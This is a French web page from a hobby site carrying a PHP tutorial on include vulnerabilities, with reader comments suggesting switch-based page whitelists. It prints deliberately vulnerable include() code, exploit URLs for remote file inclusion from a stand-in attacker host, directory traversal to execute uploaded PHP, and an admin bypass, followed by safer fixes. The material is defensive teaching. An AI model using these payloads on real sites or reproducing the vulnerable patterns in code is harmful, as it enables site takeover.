Home
Contribs
|  










 |
Goodiez
Download
Sheep Corp
|
S'identifier :. Membres Connectés Zéro, nada, pas un sheep.
Douleur
D'après certaines recherches, la plus grande douleur que connaît un être humain dans sa vie est provoquée par sa première inspiration. Juste après sa naissance, sortant du liquide amniotique, le bébé doit respirer ; pour se faire il doit remplir les alvéoles de ses poumons jusqu'alors vides en les gonflant.
Gringo
 flora
Fly with me ! de ahinu
Et on passe pour des fous a vouloir faire voler des moutons Breaking News! de Merlin
Sheep-team is back... and it's gonna kick asses ! (ou pas...) Yeah Net de Hawai Yeah! de Audiofeline
Sheep-Team.org, un site qui doit bien servir à quelque chose Optimisation de douceur
Renard de feu trop lent? Allez donc là. Ce site vous propose des versions de Firefox et Thunderbird optimisées pour votre processeur.
 Les brèves sheep-team dot org c'est la garantie de goodiz frais repêchés chaque jour dans les marécages yodassiens et vendus par cinq sans conservateurs. Proposer | Archives
7 ans plus tard
affichage d'un frorum DNF avec chrome
Bonne Année
It's alive !!!!
bug report & evolutions
[Sheep Team] The topic
Plus fort que Ride, le nombre 21!
Concour : sheep sur google
Norme
Requete SQL
|  |

 |
|
Les Failles PHP à Eviter - Part I Failles d'Include
Links Part I - Failles d'include Part II - Failles CSS
Intro Ce tuto rapide présente quelques failles php courantes dont on s'aperçoit généralement pas. Il peut servir autant aux PHPeurs qu'aux hackeurs cubiens (dédié aux zentils white hat, pas aux les ptits cons de black hat et script kiddies).
Vocabulaire Le hackeur (dans les exmples) c'est quelqu'un qui veut exploiter vos failles pour avoir accès à des trucs interdits (modifier le site, accéder à des zones protégées, etc). Pour simplifier, j'appellerait exploit le script du hackeur qui utilise votre faille (cf "toutdetruire.txt" ).
1. Les failles d'include (parce que y'en a plein différentes et que ça arrive à bcp trop de monde)
Exploitable: du moment ou les requetes http:// sont permises ou dans d'autres cas (cf la suite) Même si register_glboals est désactivé.
Contexte: Je veux que mon site soit navigable en allant sur index.php?page=dossier/bonjour.php. Donc je fais un script du genre:
A EVITER<? // La faille basique
include($page); // ou $_GET['page']
?> Exploit d'inclusion http: Un con de hackeur survient et va sur la page: [url]http://votresite.com/?page=http://sitedehackeur.com/toutdetruire.txt[/url] Votre script télécharge donc toutdetruire.txt et éxécute le code PHP qui bouizille la totalité de votre site ou plus viciseusement lui permet d'accéder à absolument tout.
Maintenant vous êtes un peu plus intelligent (mais pas assez):
A EVITER<? // La faille intra-site
include("dossier/".$page);
?> Exploit d'inclusion intra-site: Le hakeur ne peut plus appeller son site pour télécharger son script destructeur mais en revanche il peut essayer d'exploiter -votre- site.
Si par exemple vous permettez d'une façon quelconque le stockage d'une variable quelconque dans un fichier sur votre site sans la traiter vous êtes foutu. Par exemple: - si votre forum permet le stockage des images sans se poser de question: <? move_uploaded_file ("upload_image","images/123.gif"); ?> - si vous soquez les commentaires de vos news dans un fichier texte et traitez le messages après: <? fputs($fp,"$commentaire"); ?> - etc
Le hackeurs n'a qu'à envoyez un code php à la place de son image/texte et il va sur http://votresite.com/?page=../images/123.gif . Prise de controle du site directe.
 Il faut garder en tête qu'on peut remonter d'un répetrtoire en utilisant "../". Il peut donc avori accès à des répertoires protégés par .htaccess (si c'est compatible avec le safe modeen place).
Pour l'exemple du commentaire c'est plus compliqué dans le sens ou la plupart des newbies oublient: à la fois le htmlentities() et aussi le stripslashes(). Le second empechant au hackeur d'utiliser des guillements dans son exploit, il n'ira pas loin si il ne sait pas comment s'en passer (c'est possible mais pas facile).
Ok, maintenant vous êtes quasiment sûr de vous en écrivant ça (et pourtant vous êtes encore loin du compte):
A EVITER<? // La faille intra-site
include("dossier/".$page.".php");
?> Accès admin par détournement d'un include: Imaginez un site du style: /dossier (qui contient les pages autorisées) /admin /admin/config.php /admin/index.php
Avec /admin/index.php du style:
A EVITER<?
include("./config.php");
if($password_donne==$config_password) {
echo "Bienvenue admin";
}
?> Exploitable: Seulement si register_globals est On (ou utilisation d'un script pallatif).
Le hackeur appelle: http://votresite.com/?page=../admin/index Il se passe quoi ? Ca:Failed to include config.php Bienvenue admin Tout simpelment parce que le if($password_donne==$config_password) devient if(""==""), ce qui est bien entendu VRAI et l'accès devient autorisé. Ca marche surtout avec les vieilles versios de PHP ou l'include foire facilement. Maintenant l'include_path est moins restrictif. Ca n'empêche pas que ça arrive à facilement foutre le bordel entre les répertories et que c'est donc dangereux (au niveau de fopen() surtout).
BREF, comment faire un truc à peu près sécurisé:<?
$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("dossier/$page.php")) die("Page inexistante");
?> Les caractères des pages sont alors limités aux lettres/chiffres espace et _.
Sinon y'a aussi la méthode du switch avec une liste exhaustive des pages pour paranos ou si y'en a peu:switch ($page) {
case 'news': case 'forum':
include('dossier/'.$page.'.php');
break;
default:
include('dossier/acceuil.php');
break;
} Les autres failles un autre jour, ça commence à être long là  |
|  |  |  |
 |
Infos:
 Par: Nob Rubrique: PHP, MYSQL
| | Appréciation:
 Favoris: 1 Commentaires: 24
| | Popularité:
 Vues: 171
| | Tutorial:
 Taille: 9ko
| |  |
|
|  |  |  |
 |
|
Commentaires |  |
Omix


 Envoyé le: 21/03/05 14:17 | J'ai une autre methode à proposé un peux plus securisé certe ce n'est pas dans le meme genre. <? switch($id) { case 1 : include "inc/page.php"; break; case 2 : include "inc/page2.php"; }
?>
j'en profite aussi pour dire au webmater quil vaux mieux inclure des fichier a l'extansion .php que .txt effectivement on apercoi souvent des fichier php source contenu dans un fichier text ce qui offre la possibilité à tous les visiteur de visioner les source php voila :] bonne continuation.  |
|  |
|
|  |
skp


 Envoyé le: 06/07/05 10:41 | Slt, moi j'fait comme Omix !if(!empty($_GET['pg']))
switch($_GET['pg']){
// Liens page //////
case 'fichier_1':include('dossier/fichier.php');break; Et j'lattend le haker ! j'lattend ! eu... non j'lattend pas ! |
| 
 |
Merlin appelez moi dieu


 Envoyé le: 06/07/05 13:18 | tjs comme ca que je fais aussi...
mais bon pour le prochain site (dans 100 ans...) ca sera le même principe mais avec une BDD derrière... |
|
|  | |  |
 | |
|